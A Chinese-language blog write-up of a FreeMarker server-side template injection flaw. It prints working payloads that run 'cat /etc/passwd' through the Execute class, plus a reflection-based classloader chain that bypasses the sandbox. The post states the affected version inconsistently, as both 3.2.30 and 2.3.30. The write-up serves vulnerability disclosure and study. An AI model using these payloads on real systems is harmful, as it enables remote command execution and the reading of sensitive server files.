突破壁垒:FreeMarker模板引擎中的SSTI漏洞实现远程代码执行

本文详细分析了FreeMarker模板引擎中存在的服务器端模板注入(SSTI)漏洞,通过构造特殊payload绕过沙箱机制实现远程代码执行(RCE),并提供了完整的漏洞利用链和技术细节。

突破壁垒:FreeMarker模板引擎中的SSTI漏洞实现远程代码执行

2023年,我在使用旧版FreeMarker模板引擎的应用中发现了一个重大漏洞。该版本存在服务器端模板注入(SSTI)漏洞,使我能够实现远程代码执行(RCE)。报告问题后,公司立即实施了沙箱机制来缓解SSTI攻击风险。但由于仍在使用FreeMarker 3.2.30以下版本,存在已知的沙箱绕过漏洞。本文将深入分析这一发现,重点展示绕过沙箱机制的具体步骤。

FreeMarker模板引擎工作原理

FreeMarker是一款广泛采用的模板引擎,主要用于Java应用中将表现逻辑与业务逻辑分离。它允许开发者创建包含静态内容和动态占位符的模板,这些模板可以通过Java对象或数据库查询等数据源填充,最终生成动态输出。

HTML转PDF的工作流程如下:

  1. HTML结构定义:在FreeMarker模板文件中定义HTML结构,包括内容、格式和样式
  2. FreeMarker指令:使用<#开头的指令动态填充数据,包括集合遍历、条件渲染和变量访问
  3. 指令块:在指令中定义可条件执行或循环的代码块
  4. HTML渲染:将模板与数据合并生成最终HTML
  5. PDF转换:使用HTML转PDF工具将生成的HTML转为PDF文档

漏洞发现过程

在应用测试阶段,我观察到<#if><#list>等标签的使用,确认应用使用了FreeMarker引擎。通过以下测试代码验证了引擎行为:

1
2
<#assign test = .version>
TEST FOR SSTI: ${3*3}

这些测试验证了引擎对特殊字符的处理、变量声明和基础运算能力。接着使用以下代码确认引擎版本:

1
2
<#assign freemarkerVersion = .version>
FreeMarker version: ${freemarkerVersion}

确认版本低于2.3.30,存在SSTI漏洞(CVE-2021-25770)。

漏洞利用

freemarker.template.utility.Execute类允许在模板中执行外部命令。构造如下payload可读取/etc/passwd文件:

1
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

公司随后引入了沙箱环境作为防护措施。沙箱限制了模板引擎的操作能力,提供了安全执行环境。但旧版本仍存在绕过可能。

沙箱绕过技术

验证特殊字符处理和运算能力后,构建绕过payload:

1
2
3
4
5
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("cat /etc/passwd")}

该payload通过反射获取类加载器,加载关键类并最终执行命令,成功绕过沙箱防护。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计